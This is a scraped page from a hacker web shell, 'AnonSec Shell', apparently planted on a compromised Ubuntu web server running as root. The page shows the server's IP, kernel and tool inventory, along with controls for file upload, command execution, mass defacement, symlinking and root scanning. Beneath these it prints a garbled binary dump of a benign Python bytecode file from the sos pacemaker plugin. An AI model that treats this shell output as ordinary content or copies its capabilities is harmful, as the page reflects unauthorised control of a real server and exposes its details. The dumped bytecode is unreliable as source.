AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/sos/collector/clusters/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/sos/collector/clusters/__pycache__/pacemaker.cpython-310.pyc
o

���bC�@s@ddlZddlmZddlmZddlmZGdd�de�ZdS)�N)�Cluster)�version)�ElementTreec@sFeZdZdZdgZdZdZgd�Zdd�Zdd�Z	d	d
�Z
dd�Zd
S)�	pacemakerz+Pacemaker High Availability Cluster Manager)rT))�onlineTzCollect nodes listed as online)�offlineTzCollect nodes listed as offline)�
only-corosyncFz)Only use corosync.conf to enumerate nodesc
Cs�g|_z.|�d�s)z|��Wnty(}z
|�d|�WYd}~nd}~ww|js0|��WntyJ}z
|�d|�WYd}~nd}~wwdd�|jD�}|r_|�dd�|��|jS)NrzJFalling back to sourcing corosync.conf. Could not parse crm_mon output: %sz*Could not determine nodes from cluster: %scSsg|]}d|vr|�qS)�.�)�.0�nr
r
�B/usr/lib/python3/dist-packages/sos/collector/clusters/pacemaker.py�
<listcomp>/sz'pacemaker.get_nodes.<locals>.<listcomp>z�WARNING: Node addresses '%s' may not resolve locally if you are not running on a node in the cluster. Try using option '-c pacemaker.only-corosync' if these connections fail.�,)�nodes�
get_option�get_nodes_from_crm�	Exception�log_warn�get_nodes_from_corosync�	log_error�join)�self�err�_shortsr
r
r
�	get_nodess4
��������zpacemaker.get_nodescCs�d}|�d�}|ddkr'|d��d�d�d}t�|�t�d�ks&d	}nd
S|jd|dd
�}|ddkrA|�|d�d
Sd
S)zG
        Try to parse crm_mon output for node list and status.
        z--output-as=xmlzcrm_mon --version�statusr�output��-z2.0.3z--as-xmlNz crm_mon --one-shot --inactive %sT)�	need_root)�exec_primary_cmd�splitr�parse�
parse_crm_xml)r�xmlopt�_ver�cver�_outr
r
r
r9s
���zpacemaker.get_nodes_from_crmcCsvt�|�}|�d�}|D],}|j}|�d�r%|ddkr%|j�|d�q|�d�r8|ddkr8|j�|d�qdS)zA
        Parse the xml output string provided by crm_mon
        rr�true�namer�falseN)r�
fromstring�find�attribrr�append)r�	xmlstring�_xmlr�node�_noder
r
r
r$Ms

��zpacemaker.parse_crm_xmlcCsD|�d�|j�d�}t�d|�}|D]}|j�|d���qdS)z�
        As a fallback measure, read corosync.conf to get the node list. Note
        that this prevents us from separating online nodes from offline nodes.
        z_WARNING: unable to distinguish online nodes from offline nodes when sourcing from corosync.confz/etc/corosync/corosync.confz((\sring0_addr:)(.*))���N)r�primary�	read_file�re�findallrr/�strip)r�ccrr2r
r
r
rZs
�z!pacemaker.get_nodes_from_corosyncN)�__name__�
__module__�__qualname__�cluster_name�sos_plugins�packages�strict_node_list�option_listrrr$rr
r
r
r
rs
r)r7�sos.collector.clustersr�setuptools._vendor.packagingr�	xml.etreerrr
r
r
r
�<module>s



Anon7 - 2022
AnonSec Team